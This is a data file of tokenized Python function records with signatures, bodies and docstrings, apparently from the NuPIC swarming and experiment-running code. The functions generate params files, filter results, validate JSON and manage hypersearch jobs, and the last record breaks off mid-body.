{"signature": "@staticmethod<EOL><INDENT>def getTemporalDelay(inferenceElement, key=None):<DEDENT>", "body": "<EOL>if inferenceElement in (InferenceElement.prediction,<EOL>InferenceElement.encodings):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>if inferenceElement in (InferenceElement.anomalyScore,<EOL>InferenceElement.anomalyLabel,<EOL>InferenceElement.classification,<EOL>InferenceElement.classConfidences):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if inferenceElement in (InferenceElement.multiStepPredictions,<EOL>InferenceElement.multiStepBestPredictions):<EOL><INDENT>return int(key)<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Returns the number of records that elapse between when an inference is\n        made and when the corresponding input record will appear. For example, a\n        multistep prediction for 3 timesteps out will have a delay of 3\n\n\n        Parameters:\n        -----------------------------------------------------------------------\n\n        inferenceElement:   The InferenceElement value being delayed\n        key:                If the inference is a dictionary type, this specifies\n                            key for the sub-inference that is being delayed", "id": "f17595:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def getMaxDelay(inferences):<DEDENT>", "body": "maxDelay = <NUM_LIT:0><EOL>for inferenceElement, inference in inferences.iteritems():<EOL><INDENT>if isinstance(inference, dict):<EOL><INDENT>for key in inference.iterkeys():<EOL><INDENT>maxDelay = max(InferenceElement.getTemporalDelay(inferenceElement,<EOL>key),<EOL>maxDelay)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>maxDelay = max(InferenceElement.getTemporalDelay(inferenceElement),<EOL>maxDelay)<EOL><DEDENT><DEDENT>return maxDelay<EOL>", "docstring": "Returns the maximum delay for the InferenceElements in the inference\ndictionary\n\nParameters:\n-----------------------------------------------------------------------\ninferences:   A dictionary where the keys are InferenceElements", "id": "f17595:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def isTemporal(inferenceType):<DEDENT>", "body": "if InferenceType.__temporalInferenceTypes is None:<EOL><INDENT>InferenceType.__temporalInferenceTypes =set([InferenceType.TemporalNextStep,<EOL>InferenceType.TemporalClassification,<EOL>InferenceType.TemporalAnomaly,<EOL>InferenceType.TemporalMultiStep,<EOL>InferenceType.NontemporalMultiStep])<EOL><DEDENT>return inferenceType in InferenceType.__temporalInferenceTypes<EOL>", "docstring": "Returns True if the inference type is 'temporal', i.e. requires a\n        temporal memory in the network.", "id": "f17595:c1:m0"}
{"signature": "def __init__(self,  jobID, jobsDAO, logLevel = None):", "body": "self._jobID = jobID<EOL>self._cjDB = jobsDAO<EOL>self._lastUpdateAttemptTime = <NUM_LIT:0><EOL>initLogging(verbose = True)<EOL>self.logger = logging.getLogger(\"<STR_LIT:.>\".join( ['<STR_LIT>',<EOL>self.__class__.__module__, self.__class__.__name__]))<EOL>if logLevel is not None:<EOL><INDENT>self.logger.setLevel(logLevel)<EOL><DEDENT>self.logger.info(\"<STR_LIT>\" % str(jobID))<EOL>", "docstring": "TODO: Documentation", "id": "f17596:c0:m0"}
{"signature": "def updateResultsForJob(self, forceUpdate=True):", "body": "updateInterval = time.time() - self._lastUpdateAttemptTime<EOL>if updateInterval < self._MIN_UPDATE_INTERVAL and not forceUpdate:<EOL><INDENT>return<EOL><DEDENT>self.logger.info(\"<STR_LIT>\"\"<STR_LIT>\"%(self._jobID,<EOL>time.time(),<EOL>self._lastUpdateAttemptTime))<EOL>timestampUpdated = self._cjDB.jobUpdateSelectionSweep(self._jobID,<EOL>self._MIN_UPDATE_INTERVAL)<EOL>if not timestampUpdated:<EOL><INDENT>self.logger.info(\"<STR_LIT>\"\"<STR_LIT>\"%(self._jobID, self._lastUpdateAttemptTime))<EOL>if not forceUpdate:<EOL><INDENT>return<EOL><DEDENT><DEDENT>self._lastUpdateAttemptTime = time.time()<EOL>self.logger.info(\"<STR_LIT>\"%(self._jobID, self._lastUpdateAttemptTime))<EOL>minUpdateRecords = self._MIN_UPDATE_THRESHOLD<EOL>jobResults = self._getJobResults()<EOL>if forceUpdate or jobResults is None:<EOL><INDENT>minUpdateRecords = <NUM_LIT:0><EOL><DEDENT>candidateIDs, bestMetric = self._cjDB.modelsGetCandidates(self._jobID, minUpdateRecords)<EOL>self.logger.info(\"<STR_LIT>\"%(candidateIDs, bestMetric, self._jobID))<EOL>if len(candidateIDs) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>self._jobUpdateCandidate(candidateIDs[<NUM_LIT:0>], bestMetric, results=jobResults)<EOL>", "docstring": "Chooses the best model for a given job.\n\n        Parameters\n        -----------------------------------------------------------------------\n        forceUpdate:  (True/False). If True, the update will ignore all the\n                      restrictions on the minimum time to update and the minimum\n                      number of records to update. This should typically only be\n                      set to true if the model has completed running", "id": "f17596:c0:m1"}
{"signature": "def _paramsFileHead():", "body": "str = getCopyrightHead() +\"<EOL>his file defines parameters for a prediction experiment.<EOL><INDENT>IMPORTANT!!!<EOL><DEDENT>is params file is dynamically generated by the RunExperimentPermutations<EOL>ript. Any changes made manually will be over-written the next time<EOL>nExperimentPermutations is run!!!<EOL><INDENT>nupic.frameworks.opf.exp_description_helpers import importBaseDescription<EOL><DEDENT>e sub-experiment configuration<EOL>ig ={<EOL>return str<EOL>", "docstring": "This is the first portion of every sub-experiment params file we generate. Between\nthe head and the tail are the experiment specific options.", "id": "f17597:m1"}
{"signature": "def _paramsFileTail():", "body": "str =\"<EOL>= importBaseDescription('<STR_LIT>', config)<EOL>ls().update(mod.__dict__)<EOL>return str<EOL>", "docstring": "This is the tail of every params file we generate. Between the head and the tail\nare the experiment specific options.", "id": "f17597:m2"}
{"signature": "def _appendReportKeys(keys, prefix, results):", "body": "allKeys = list(results.keys())<EOL>allKeys.sort()<EOL>for key in allKeys:<EOL><INDENT>if hasattr(results[key], '<STR_LIT>'):<EOL><INDENT>_appendReportKeys(keys, \"<STR_LIT>\" % (prefix, key), results[key])<EOL><DEDENT>else:<EOL><INDENT>keys.add(\"<STR_LIT>\" % (prefix, key))<EOL><DEDENT><DEDENT>", "docstring": "Generate a set of possible report keys for an experiment's results.\nA report key is a string of key names separated by colons, each key being one\nlevel deeper into the experiment results dict. For example, 'key1:key2'.\n\nThis routine is called recursively to build keys that are multiple levels\ndeep from the results dict.\n\nParameters:\n-----------------------------------------------------------\nkeys:         Set of report keys accumulated so far\nprefix:       prefix formed so far, this is the colon separated list of key\n                names that led up to the dict passed in results\nresults:      dictionary of results at this level.", "id": "f17597:m3"}
{"signature": "def _matchReportKeys(reportKeyREs=[], allReportKeys=[]):", "body": "matchingReportKeys = []<EOL>for keyRE in reportKeyREs:<EOL><INDENT>matchObj = re.compile(keyRE)<EOL>found = False<EOL>for keyName in allReportKeys:<EOL><INDENT>match = matchObj.match(keyName)<EOL>if match and match.end() == len(keyName):<EOL><INDENT>matchingReportKeys.append(keyName)<EOL>found = True<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>raise _BadKeyError(keyRE)<EOL><DEDENT><DEDENT>return matchingReportKeys<EOL>", "docstring": "Extract all items from the 'allKeys' list whose key matches one of the regular\nexpressions passed in 'reportKeys'.\n\nParameters:\n----------------------------------------------------------------------------\nreportKeyREs:     List of regular expressions\nallReportKeys:    List of all keys\n\nretval:         list of keys from allReportKeys that match the regular expressions\n                  in 'reportKeyREs'\n                If an invalid regular expression was included in 'reportKeys',\n                  then BadKeyError() is raised", "id": "f17597:m4"}
{"signature": "def _getReportItem(itemName, results):", "body": "subKeys = itemName.split('<STR_LIT::>')<EOL>subResults = results<EOL>for subKey in subKeys:<EOL><INDENT>subResults = subResults[subKey]<EOL><DEDENT>return subResults<EOL>", "docstring": "Get a specific item by name out of the results dict.\n\nThe format of itemName is a string of dictionary keys separated by colons,\neach key being one level deeper into the results dict. For example,\n'key1:key2' would fetch results['key1']['key2'].\n\nIf itemName is not found in results, then None is returned", "id": "f17597:m5"}
{"signature": "def filterResults(allResults, reportKeys, optimizeKey=None):", "body": "<EOL>optimizeDict = dict()<EOL>allReportKeys = set()<EOL>_appendReportKeys(keys=allReportKeys, prefix='<STR_LIT>', results=allResults)<EOL>matchingKeys = _matchReportKeys(reportKeys, allReportKeys)<EOL>reportDict = dict()<EOL>for keyName in matchingKeys:<EOL><INDENT>value = _getReportItem(keyName, allResults)<EOL>reportDict[keyName] = value<EOL><DEDENT>if optimizeKey is not None:<EOL><INDENT>matchingKeys = _matchReportKeys([optimizeKey], allReportKeys)<EOL>if len(matchingKeys) == <NUM_LIT:0>:<EOL><INDENT>raise _BadKeyError(optimizeKey)<EOL><DEDENT>elif len(matchingKeys) > <NUM_LIT:1>:<EOL><INDENT>raise _BadOptimizeKeyError(optimizeKey, matchingKeys)<EOL><DEDENT>optimizeKeyFullName = matchingKeys[<NUM_LIT:0>]<EOL>value = _getReportItem(optimizeKeyFullName, allResults)<EOL>optimizeDict[optimizeKeyFullName] = value<EOL>reportDict[optimizeKeyFullName] = value<EOL><DEDENT>return(reportDict, optimizeDict)<EOL>", "docstring": "Given the complete set of results generated by an experiment (passed in\n    'results'), filter out and return only the ones the caller wants, as\n    specified through 'reportKeys' and 'optimizeKey'.\n\n    A report key is a string of key names separated by colons, each key being one\n    level deeper into the experiment results dict. For example, 'key1:key2'.\n\n\n    Parameters:\n    -------------------------------------------------------------------------\n    results:             dict of all results generated by an experiment\n    reportKeys:          list of items from the results dict to include in\n                         the report. These can be regular expressions.\n    optimizeKey:         Which report item, if any, we will be optimizing for. This can\n                         also be a regular expression, but is an error if it matches\n                         more than one key from the experiment's results.\n    retval:  (reportDict, optimizeDict)\n                reportDict: a dictionary of the metrics named by desiredReportKeys\n                optimizeDict: A dictionary containing 1 item: the full name and\n                      value of the metric identified by the optimizeKey", "id": "f17597:m6"}
{"signature": "def _quoteAndEscape(string):", "body": "assert type(string) in (str,)<EOL>return pprint.pformat(string)<EOL>", "docstring": "string:   input string (ascii or unicode)\n\nReturns:  a quoted string with characters that are represented in python via\n          escape sequences converted to those escape sequences", "id": "f17597:m7"}
{"signature": "def _handleModelRunnerException(jobID, modelID, jobsDAO, experimentDir, logger,<EOL>e):", "body": "msg = io.StringIO()<EOL>print(\"<STR_LIT>\" % (<EOL>modelID, e, type(e)), file=msg)<EOL>traceback.print_exc(None, msg)<EOL>completionReason = jobsDAO.CMPL_REASON_ERROR<EOL>completionMsg = msg.getvalue()<EOL>logger.error(completionMsg)<EOL>if type(e) is not InvalidConnectionException:<EOL><INDENT>jobsDAO.modelUpdateResults(modelID,  results=None, numRecords=<NUM_LIT:0>)<EOL><DEDENT>if type(e) == JobFailException:<EOL><INDENT>workerCmpReason = jobsDAO.jobGetFields(jobID,<EOL>['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if workerCmpReason == ClientJobsDAO.CMPL_REASON_SUCCESS:<EOL><INDENT>jobsDAO.jobSetFields(jobID, fields=dict(<EOL>cancel=True,<EOL>workerCompletionReason = ClientJobsDAO.CMPL_REASON_ERROR,<EOL>workerCompletionMsg = \"<STR_LIT>\".join(str(i) for i in e.args)),<EOL>useConnectionID=False,<EOL>ignoreUnchanged=True)<EOL><DEDENT><DEDENT>return (completionReason, completionMsg)<EOL>", "docstring": "Perform standard handling of an exception that occurs while running\n    a model.\n\n    Parameters:\n    -------------------------------------------------------------------------\n    jobID:                ID for this hypersearch job in the jobs table\n    modelID:              model ID\n    jobsDAO:              ClientJobsDAO instance\n    experimentDir:        directory containing the experiment\n    logger:               the logger to use\n    e:                    the exception that occurred\n    retval:               (completionReason, completionMsg)", "id": "f17597:m8"}
{"signature": "def runModelGivenBaseAndParams(modelID, jobID, baseDescription, params,<EOL>predictedField, reportKeys, optimizeKey, jobsDAO,<EOL>modelCheckpointGUID, logLevel=None, predictionCacheMaxRecords=None):", "body": "from nupic.swarming.ModelRunner import OPFModelRunner<EOL>logger = logging.getLogger('<STR_LIT>')<EOL>experimentDir = tempfile.mkdtemp()<EOL>try:<EOL><INDENT>logger.info(\"<STR_LIT>\" % (experimentDir))<EOL>paramsFilePath = os.path.join(experimentDir, '<STR_LIT>')<EOL>paramsFile = open(paramsFilePath, '<STR_LIT:wb>')<EOL>paramsFile.write(_paramsFileHead())<EOL>items = list(params.items())<EOL>items.sort()<EOL>for (key,value) in items:<EOL><INDENT>quotedKey = _quoteAndEscape(key)<EOL>if isinstance(value, str):<EOL><INDENT>paramsFile.write(\"<STR_LIT>\" % (quotedKey , value))<EOL><DEDENT>else:<EOL><INDENT>paramsFile.write(\"<STR_LIT>\" % (quotedKey , value))<EOL><DEDENT><DEDENT>paramsFile.write(_paramsFileTail())<EOL>paramsFile.close()<EOL>baseParamsFile = open(os.path.join(experimentDir, '<STR_LIT>'), '<STR_LIT:wb>')<EOL>baseParamsFile.write(baseDescription)<EOL>baseParamsFile.close()<EOL>fd = open(paramsFilePath)<EOL>expDescription = fd.read()<EOL>fd.close()<EOL>jobsDAO.modelSetFields(modelID, {'<STR_LIT>': expDescription})<EOL>try:<EOL><INDENT>runner = OPFModelRunner(<EOL>modelID=modelID,<EOL>jobID=jobID,<EOL>predictedField=predictedField,<EOL>experimentDir=experimentDir,<EOL>reportKeyPatterns=reportKeys,<EOL>optimizeKeyPattern=optimizeKey,<EOL>jobsDAO=jobsDAO,<EOL>modelCheckpointGUID=modelCheckpointGUID,<EOL>logLevel=logLevel,<EOL>predictionCacheMaxRecords=predictionCacheMaxRecords)<EOL>signal.signal(signal.SIGINT, runner.handleWarningSignal)<EOL>(completionReason, completionMsg) = runner.run()<EOL><DEDENT>except InvalidConnectionException:<EOL><INDENT>raise<EOL><DEDENT>except Exception as e:<EOL><INDENT>(completionReason, completionMsg) = _handleModelRunnerException(jobID,<EOL>modelID, jobsDAO, experimentDir, logger, e)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>shutil.rmtree(experimentDir)<EOL>signal.signal(signal.SIGINT, signal.default_int_handler)<EOL><DEDENT>return (completionReason, completionMsg)<EOL>", "docstring": "This creates an experiment directory with a base.py description file\n    created from 'baseDescription' and a description.py generated from the\n    given params dict and then runs the experiment.\n\n    Parameters:\n    -------------------------------------------------------------------------\n    modelID:              ID for this model in the models table\n    jobID:                ID for this hypersearch job in the jobs table\n    baseDescription:      Contents of a description.py with the base experiment\n                                            description\n    params:               Dictionary of specific parameters to override within\n                                    the baseDescriptionFile.\n    predictedField:       Name of the input field for which this model is being\n                                      optimized\n    reportKeys:           Which metrics of the experiment to store into the\n                                      results dict of the model's database entry\n    optimizeKey:          Which metric we are optimizing for\n    jobsDAO               Jobs data access object - the interface to the\n                                    jobs database which has the model's table.\n    modelCheckpointGUID:  A persistent, globally-unique identifier for\n                                    constructing the model checkpoint key\n    logLevel:             override logging level to this value, if not None\n\n    retval:               (completionReason, completionMsg)", "id": "f17597:m9"}
{"signature": "def generatePersistentJobGUID():", "body": "return \"<STR_LIT>\" + str(uuid.uuid1())<EOL>", "docstring": "Generates a \"persistentJobGUID\" value.\n\n    Parameters:\n    ----------------------------------------------------------------------\n    retval:          A persistentJobGUID value", "id": "f17597:m11"}
{"signature": "def rCopy(d, f=identityConversion, discardNoneKeys=True, deepCopy=True):", "body": "<EOL>if deepCopy:<EOL><INDENT>d = copy.deepcopy(d)<EOL><DEDENT>newDict = {}<EOL>toCopy = [(k, v, newDict, ()) for k, v in d.items()]<EOL>while len(toCopy) > <NUM_LIT:0>:<EOL><INDENT>k, v, d, prevKeys = toCopy.pop()<EOL>prevKeys = prevKeys + (k,)<EOL>if isinstance(v, dict):<EOL><INDENT>d[k] = dict()<EOL>toCopy[<NUM_LIT:0>:<NUM_LIT:0>] = [(innerK, innerV, d[k], prevKeys)<EOL>for innerK, innerV in v.items()]<EOL><DEDENT>else:<EOL><INDENT>newV = f(v, prevKeys)<EOL>if not discardNoneKeys or newV is not None:<EOL><INDENT>d[k] = newV<EOL><DEDENT><DEDENT><DEDENT>return newDict<EOL>", "docstring": "Recursively copies a dict and returns the result.\n\n    Args:\n      d: The dict to copy.\n      f: A function to apply to values when copying that takes the value and the\n          list of keys from the root of the dict to the value and returns a value\n          for the new dict.\n      discardNoneKeys: If True, discard key-value pairs when f returns None for\n          the value.\n      deepCopy: If True, all values in returned dict are true copies (not the\n          same object).\n    Returns:\n      A new dict with keys and values from d replaced with the result of f.", "id": "f17597:m13"}
{"signature": "def rApply(d, f):", "body": "remainingDicts = [(d, ())]<EOL>while len(remainingDicts) > <NUM_LIT:0>:<EOL><INDENT>current, prevKeys = remainingDicts.pop()<EOL>for k, v in current.items():<EOL><INDENT>keys = prevKeys + (k,)<EOL>if isinstance(v, dict):<EOL><INDENT>remainingDicts.insert(<NUM_LIT:0>, (v, keys))<EOL><DEDENT>else:<EOL><INDENT>f(v, keys)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Recursively applies f to the values in dict d.\n\n    Args:\n      d: The dict to recurse over.\n      f: A function to apply to values in d that takes the value and a list of\n          keys from the root of the dict to the value.", "id": "f17597:m14"}
{"signature": "def clippedObj(obj, maxElementSize=<NUM_LIT:64>):", "body": "<EOL>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>obj = obj._asdict()<EOL><DEDENT>if isinstance(obj, dict):<EOL><INDENT>objOut = dict()<EOL>for key,val in obj.items():<EOL><INDENT>objOut[key] = clippedObj(val)<EOL><DEDENT><DEDENT>elif hasattr(obj, '<STR_LIT>'):<EOL><INDENT>objOut = []<EOL>for val in obj:<EOL><INDENT>objOut.append(clippedObj(val))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>objOut = str(obj)<EOL>if len(objOut) > maxElementSize:<EOL><INDENT>objOut = objOut[<NUM_LIT:0>:maxElementSize] + '<STR_LIT>'<EOL><DEDENT><DEDENT>return objOut<EOL>", "docstring": "Return a clipped version of obj suitable for printing, This\nis useful when generating log messages by printing data structures, but\ndon't want the message to be too long.\n\nIf passed in a dict, list, or namedtuple, each element of the structure's\nstring representation will be limited to 'maxElementSize' characters. This\nwill return a new object where the string representation of each element\nhas been truncated to fit within maxElementSize.", "id": "f17597:m15"}
{"signature": "def validate(value, **kwds):", "body": "assert len(list(kwds.keys())) >= <NUM_LIT:1><EOL>assert '<STR_LIT>' in kwds or '<STR_LIT>' in kwds<EOL>schemaDict = None<EOL>if '<STR_LIT>' in kwds:<EOL><INDENT>schemaPath = kwds.pop('<STR_LIT>')<EOL>schemaDict = loadJsonValueFromFile(schemaPath)<EOL><DEDENT>elif '<STR_LIT>' in kwds:<EOL><INDENT>schemaDict = kwds.pop('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>validictory.validate(value, schemaDict, **kwds)<EOL><DEDENT>except validictory.ValidationError as e:<EOL><INDENT>raise ValidationError(e)<EOL><DEDENT>", "docstring": "Validate a python value against json schema:\n    validate(value, schemaPath)\n    validate(value, schemaDict)\n\n    value:          python object to validate against the schema\n\n    The json schema may be specified either as a path of the file containing\n    the json schema or as a python dictionary using one of the\n    following keywords as arguments:\n      schemaPath:     Path of file containing the json schema object.\n      schemaDict:     Python dictionary containing the json schema object\n\n    Returns: nothing\n\n    Raises:\n            ValidationError when value fails json validation", "id": "f17597:m16"}
{"signature": "def loadJsonValueFromFile(inputFilePath):", "body": "with open(inputFilePath) as fileObj:<EOL><INDENT>value = json.load(fileObj)<EOL><DEDENT>return value<EOL>", "docstring": "Loads a json value from a file and converts it to the corresponding python\n    object.\n\n    inputFilePath:\n                    Path of the json file;\n\n    Returns:\n                    python value that represents the loaded json value", "id": "f17597:m17"}
{"signature": "def sortedJSONDumpS(obj):", "body": "itemStrs = []<EOL>if isinstance(obj, dict):<EOL><INDENT>items = list(obj.items())<EOL>items.sort()<EOL>for key, value in items:<EOL><INDENT>itemStrs.append('<STR_LIT>' % (json.dumps(key), sortedJSONDumpS(value)))<EOL><DEDENT>return '<STR_LIT>' % ('<STR_LIT:U+002CU+0020>'.join(itemStrs))<EOL><DEDENT>elif hasattr(obj, '<STR_LIT>'):<EOL><INDENT>for val in obj:<EOL><INDENT>itemStrs.append(sortedJSONDumpS(val))<EOL><DEDENT>return '<STR_LIT>' % ('<STR_LIT:U+002CU+0020>'.join(itemStrs))<EOL><DEDENT>else:<EOL><INDENT>return json.dumps(obj)<EOL><DEDENT>", "docstring": "Return a JSON representation of obj with sorted keys on any embedded dicts.\nThis insures that the same object will always be represented by the same\nstring even if it contains dicts (where the sort order of the keys is\nnormally undefined).", "id": "f17597:m18"}
{"signature": "def __init__(self, requestedActivities):", "body": "self.__activities = []<EOL>for req in requestedActivities:<EOL><INDENT>act =   self.Activity(repeating=req.repeating,<EOL>period=req.period,<EOL>cb=req.cb,<EOL>iteratorHolder=[iter(range(req.period))])<EOL>self.__activities.append(act)<EOL><DEDENT>return<EOL>", "docstring": "requestedActivities: a sequence of PeriodicActivityRequest elements", "id": "f17597:c2:m0"}
{"signature": "def tick(self):", "body": "<EOL>for act in self.__activities:<EOL><INDENT>if not act.iteratorHolder[<NUM_LIT:0>]:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>next(act.iteratorHolder[<NUM_LIT:0>])<EOL><DEDENT>except StopIteration:<EOL><INDENT>act.cb()<EOL>if act.repeating:<EOL><INDENT>act.iteratorHolder[<NUM_LIT:0>] = iter(range(act.period))<EOL><DEDENT>else:<EOL><INDENT>act.iteratorHolder[<NUM_LIT:0>] = None<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Activity tick handler; services all activities\n\n        Returns:      True if controlling iterator says it's okay to keep going;\n                      False to stop", "id": "f17597:c2:m1"}
{"signature": "def _escape(s):", "body": "assert isinstance(s, str),\"<STR_LIT>\" % (type(str), type(s), s)<EOL>s = s.replace(\"<STR_LIT:\\\\>\", \"<STR_LIT>\")<EOL>s = s.replace(\"<STR_LIT:\\n>\", \"<STR_LIT>\")<EOL>s = s.replace(\"<STR_LIT:\\t>\", \"<STR_LIT>\")<EOL>s = s.replace(\"<STR_LIT:U+002C>\", \"<STR_LIT:\\t>\")<EOL>return s<EOL>", "docstring": "Escape commas, tabs, newlines and dashes in a string\n\n    Commas are encoded as tabs", "id": "f17598:m4"}
{"signature": "def _engineServicesRunning():", "body": "process = subprocess.Popen([\"<STR_LIT>\", \"<STR_LIT>\"], stdout=subprocess.PIPE)<EOL>stdout = process.communicate()[<NUM_LIT:0>]<EOL>result = process.returncode<EOL>if result != <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>running = False<EOL>for line in stdout.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if \"<STR_LIT>\" in line and \"<STR_LIT>\" in line:<EOL><INDENT>running = True<EOL>break<EOL><DEDENT><DEDENT>return running<EOL>", "docstring": "Return true if the engine services are running", "id": "f17598:m5"}
{"signature": "def runWithConfig(swarmConfig, options,<EOL>outDir=None, outputLabel=\"<STR_LIT:default>\",<EOL>permWorkDir=None, verbosity=<NUM_LIT:1>):", "body": "global g_currentVerbosityLevel<EOL>g_currentVerbosityLevel = verbosity<EOL>if outDir is None:<EOL><INDENT>outDir = os.getcwd()<EOL><DEDENT>if permWorkDir is None:<EOL><INDENT>permWorkDir = os.getcwd()<EOL><DEDENT>_checkOverwrite(options, outDir)<EOL>_generateExpFilesFromSwarmDescription(swarmConfig, outDir)<EOL>options[\"<STR_LIT>\"] = swarmConfig<EOL>options[\"<STR_LIT>\"] = outputLabel<EOL>options[\"<STR_LIT>\"] = outDir<EOL>options[\"<STR_LIT>\"] = permWorkDir<EOL>runOptions = _injectDefaultOptions(options)<EOL>_validateOptions(runOptions)<EOL>return _runAction(runOptions)<EOL>", "docstring": "Starts a swarm, given an dictionary configuration.\n@param swarmConfig {dict} A complete [swarm description](http://nupic.docs.numenta.org/0.7.0.dev0/guides/swarming/running.html#the-swarm-description) object.\n@param outDir {string} Optional path to write swarm details (defaults to\n                       current working directory).\n@param outputLabel {string} Optional label for output (defaults to \"default\").\n@param permWorkDir {string} Optional location of working directory (defaults\n                            to current working directory).\n@param verbosity {int} Optional (1,2,3) increasing verbosity of output.\n\n@returns {object} Model parameters", "id": "f17598:m12"}
{"signature": "def runWithJsonFile(expJsonFilePath, options, outputLabel, permWorkDir):", "body": "if \"<STR_LIT>\" in options:<EOL><INDENT>verbosity = options[\"<STR_LIT>\"]<EOL>del options[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>verbosity = <NUM_LIT:1><EOL><DEDENT>_setupInterruptHandling()<EOL>with open(expJsonFilePath, \"<STR_LIT:r>\") as jsonFile:<EOL><INDENT>expJsonConfig = json.loads(jsonFile.read())<EOL><DEDENT>outDir = os.path.dirname(expJsonFilePath)<EOL>return runWithConfig(expJsonConfig, options, outDir=outDir,<EOL>outputLabel=outputLabel, permWorkDir=permWorkDir,<EOL>verbosity=verbosity)<EOL>", "docstring": "Starts a swarm, given a path to a JSON file containing configuration.\n\nThis function is meant to be used with a CLI wrapper that passes command line\narguments in through the options parameter.\n\n@param expJsonFilePath {string} Path to a JSON file containing the complete\n                               [swarm description](http://nupic.docs.numenta.org/0.7.0.dev0/guides/swarming/running.html#the-swarm-description).\n@param options {dict} CLI options.\n@param outputLabel {string} Label for output.\n@param permWorkDir {string} Location of working directory.\n\n@returns {int} Swarm job id.", "id": "f17598:m13"}
{"signature": "def runWithPermutationsScript(permutationsFilePath, options,<EOL>outputLabel, permWorkDir):", "body": "global g_currentVerbosityLevel<EOL>if \"<STR_LIT>\" in options:<EOL><INDENT>g_currentVerbosityLevel = options[\"<STR_LIT>\"]<EOL>del options[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>g_currentVerbosityLevel = <NUM_LIT:1><EOL><DEDENT>_setupInterruptHandling()<EOL>options[\"<STR_LIT>\"] = permutationsFilePath<EOL>options[\"<STR_LIT>\"] = outputLabel<EOL>options[\"<STR_LIT>\"] = permWorkDir<EOL>options[\"<STR_LIT>\"] = permWorkDir<EOL>runOptions = _injectDefaultOptions(options)<EOL>_validateOptions(runOptions)<EOL>return _runAction(runOptions)<EOL>", "docstring": "Starts a swarm, given a path to a permutations.py script.\n\nThis function is meant to be used with a CLI wrapper that passes command line\narguments in through the options parameter.\n\n@param permutationsFilePath {string} Path to permutations.py.\n@param options {dict} CLI options.\n@param outputLabel {string} Label for output.\n@param permWorkDir {string} Location of working directory.\n\n@returns {object} Model parameters.", "id": "f17598:m14"}
{"signature": "def runPermutations(_):", "body": "raise DeprecationWarning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>", "docstring": "DEPRECATED. Use @ref runWithConfig.", "id": "f17598:m15"}
{"signature": "def _clientJobsDB():", "body": "return cjdao.ClientJobsDAO.get()<EOL>", "docstring": "Returns: The shared cjdao.ClientJobsDAO instance", "id": "f17598:m17"}
{"signature": "def _nupicHyperSearchHasErrors(hyperSearchJob):", "body": "<EOL>return False<EOL>", "docstring": "Check whether any experiments failed in our latest hypersearch\n\n    Parameters:\n      hyperSearchJob: _HyperSearchJob instance; if None, will get it from saved\n                      jobID, if any\n\n    Returns: False if all models succeeded, True if one or more had errors", "id": "f17598:m18"}
{"signature": "def _backupFile(filePath):", "body": "assert os.path.exists(filePath)<EOL>stampNum = <NUM_LIT:0><EOL>(prefix, suffix) = os.path.splitext(filePath)<EOL>while True:<EOL><INDENT>backupPath = \"<STR_LIT>\" % (prefix, stampNum, suffix)<EOL>stampNum += <NUM_LIT:1><EOL>if not os.path.exists(backupPath):<EOL><INDENT>break<EOL><DEDENT><DEDENT>shutil.copyfile(filePath, backupPath)<EOL>return backupPath<EOL>", "docstring": "Back up a file\n\n    Parameters:\n    ----------------------------------------------------------------------\n    retval:         Filepath of the back-up", "id": "f17598:m19"}
{"signature": "def _getOneModelInfo(nupicModelID):", "body": "return next(_iterModels([nupicModelID]))<EOL>", "docstring": "A convenience function that retrieves inforamtion about a single model\n\n    See also: _iterModels()\n\n    Parameters:\n    ----------------------------------------------------------------------\n    nupicModelID:      Nupic modelID\n    retval:           _NupicModelInfo instance for the given nupicModelID.", "id": "f17598:m20"}
{"signature": "def _iterModels(modelIDs):", "body": "class ModelInfoIterator(object):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>__CACHE_LIMIT = <NUM_LIT:1000><EOL>debug=False<EOL>def __init__(self, modelIDs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>self.__modelIDs = tuple(modelIDs)<EOL>if self.debug:<EOL><INDENT>_emit(Verbosity.DEBUG,<EOL>\"<STR_LIT>\" % len(self.__modelIDs))<EOL><DEDENT>self.__nextIndex = <NUM_LIT:0><EOL>self.__modelCache = collections.deque()<EOL>return<EOL><DEDENT>def __iter__(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return self<EOL><DEDENT>def __next__(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return self.__getNext()<EOL><DEDENT>def __getNext(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if self.debug:<EOL><INDENT>_emit(Verbosity.DEBUG,<EOL>\"<STR_LIT>\" % (<EOL>len(self.__modelCache)))<EOL><DEDENT>if not self.__modelCache:<EOL><INDENT>self.__fillCache()<EOL><DEDENT>if not self.__modelCache:<EOL><INDENT>raise StopIteration()<EOL><DEDENT>return self.__modelCache.popleft()<EOL><DEDENT>def __fillCache(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>assert (not self.__modelCache)<EOL>numModelIDs = len(self.__modelIDs) if self.__modelIDs else <NUM_LIT:0><EOL>if self.__nextIndex >= numModelIDs:<EOL><INDENT>return<EOL><DEDENT>idRange = self.__nextIndex + self.__CACHE_LIMIT<EOL>if idRange > numModelIDs:<EOL><INDENT>idRange = numModelIDs<EOL><DEDENT>lookupIDs = 